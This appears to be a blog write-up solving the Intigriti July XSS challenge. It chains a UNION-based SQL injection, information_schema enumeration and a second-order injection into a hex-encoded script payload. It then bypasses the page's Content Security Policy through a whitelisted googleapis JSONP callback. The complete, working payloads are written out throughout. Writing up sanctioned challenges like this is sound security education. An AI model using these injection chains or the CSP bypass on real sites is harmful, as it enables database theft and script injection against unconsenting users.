The Intigriti July XSS challenge was a great challenge created by antonvroemans which included a quite funny bug de-escalation from an SQL injection to an XSS with a CSP bypass. Leaving that aside, it was a great chance to practice skills in multiple attack vectors and improve.
The challenge
The challenge rules are the following:
The goal is to pop a 0-click XSS inside that domain, who would’ve thought of any other vulnerabilities right?
Solving the challenge
Looking at https://challenge-0722.intigriti.io/challenge/challenge.php first thing we can notice is that we don’t have a single piece of input / JS code that we could make use of to get something reflected, it’s just a simple static page.
The only interactive thing on the page is the ?month
parameter, which allows getting the posts by the month number.
After a lot of time initially spent trying to get anything reflected from that parameter, I realized that for some reason, arithmetic operations were being evaluated, so i.e by supplying 4-1
we would get a post from March which is the 3rd month of the year.
Since I already confirmed it was definitely not a template injection issue, I started thinking in a more server-side direction.
What if, perhaps, there was an SQL query used for that purpose in the background that looks something like:
SELECT * from some_table WHERE id = (month)
Considering that supplying a single quote would trigger an error, this started sounding like very likely.
I started with a UNION-based payload, incrementing the numbers until I hit the correct number of columns in that table and get a non-error response, this worked out:
1 UNION SELECT 1,2,3,4,5--
Great, we now finally have a reflection (the numbers inside the SELECT query) and we determined that there’s 5 columns inside that table. Let’s try to hex-encode a simple <script>alert()</script>
and pass it inside the payload:
Seems like it won’t be as simple, the payload was sanitized, as expected from an intigriti XSS challenge.
Next idea was to try to figure out how to inject the author part (after by
), which might not be sanitized.
Since I got very stuck on this part of the challenge, I decided to go on and fully re-build the database structure locally and start playing with it.
As we can get the database name with database()
and we know the number of columns was 5, it was pretty simple to fully exfiltrate everything we need.
First, I got all the tables with the following payload:
1 UNION SELECT NULL,NULL,NULL,NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema = database()--
After that, I got all the columns with the following payload:
1 UNION SELECT NULL,NULL,NULL,NULL,group_concat(column_name) FROM information_schema.columns WHERE table_schema = database()--
It was simple to build out an SQL schema from the collected data, this is what I came up with:
CREATE TABLE post (
id INT NOT NULL,
title VARCHAR(256) NOT NULL,
msg VARCHAR(256) NOT NULL,
author INT NOT NULL,
datetime timestamp NULL DEFAULT CURRENT_TIMESTAMP
);
CREATE TABLE user (
id INT NOT NULL,
name VARCHAR(256) NOT NULL,
picture VARCHAR(256) NOT NULL
);
Now, if we try to get all author names from the post
table we will quickly notice that they are just IDs:
1 UNION SELECT NULL,NULL,NULL,NULL,author FROM post--
Output:
1
2
So how do they get the author names?
I would guess that the author ID is further on passed into a new query that looks like:
SELECT * FROM user WHERE id = (author_id)
So, what can we do to overwrite the author name? By making it a second-order SQLi by injecting another UNION-based payload in the place that is supposed to return the author ID in the original payload.
Testing this locally indeed confirmed this was possible:
As name
column is the part in the middle, abc2
would be our injection point.
Another issue, the site will only pick up the first returned row, so we have to add an ORDER by
statement to make our payload come out on top in ascending order, so something like this worked:
1 UNION SELECT NULL, 0x3C7363726970743E616C65727428293C2F7363726970743E, NULL ORDER BY name ASC;
Finally, we have our payload on top and it’s time to combine it with our initial payload.
First step is to figure out which of the 5 columns exactly returns the author ID, which can be done simply by passing an ID in every column until we get the author name to appear:
As we know the injection point is the 4th column, hex-encoding it and merging it all together gives the following payload:
1 UNION SELECT NULL,NULL,NULL,0x3120554E494F4E2053454C454354204E554C4C2C2030783343373336333732363937303734334536313643363537323734323832393343324637333633373236393730373433452C204E554C4C204F52444552204259206E616D65204153433B,NULL--
We finally have an unsanitized reflection!
Well, why is the pop-up not showing then?
Sadly, it doesn’t end here yet, there’s CSP to bypass as well:
default-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com
It’s a quite restricted one, considering we can only rely on resources from the same origin or the provided whitelisted wildcards.
The regular public bypasses importing AngularJS from https://cdnjs.cloudflare.com did not work since they all require unsafe-eval
which was not set in our case.
I ended up finding a very simple bypass - there’s a public JSONP endpoint at https://www.googleapis.com/customsearch/v1?callback= which falls into the whitelist, this can be used as a very simple jump through since the returned data is unsanitized.
Doing the following:
<script src=//www.googleapis.com/customsearch/v1?callback=alert(document.domain)></script>
finally gives our long-awaited bypass.
Putting this back into our payload, we get our final payload for the sweet alert popup:
1 UNION SELECT NULL,NULL,NULL,0x3120554E494F4E2053454C454354204E554C4C2C203078334337333633373236393730373432303733373236333344324632463737373737373245363736463646363736433635363137303639373332453633364636443246363337353733373436463644373336353631373236333638324637363331334636333631364336433632363136333642334436313643363537323734323836343646363337353644363536453734324536343646364436313639364532393345334332463733363337323639373037343345304430412C204E554C4C204F52444552204259206E616D65204153433B,NULL--
Final solution
The solution can be accessed at: pop-xss (until the challenge is taken down)
Till the next time!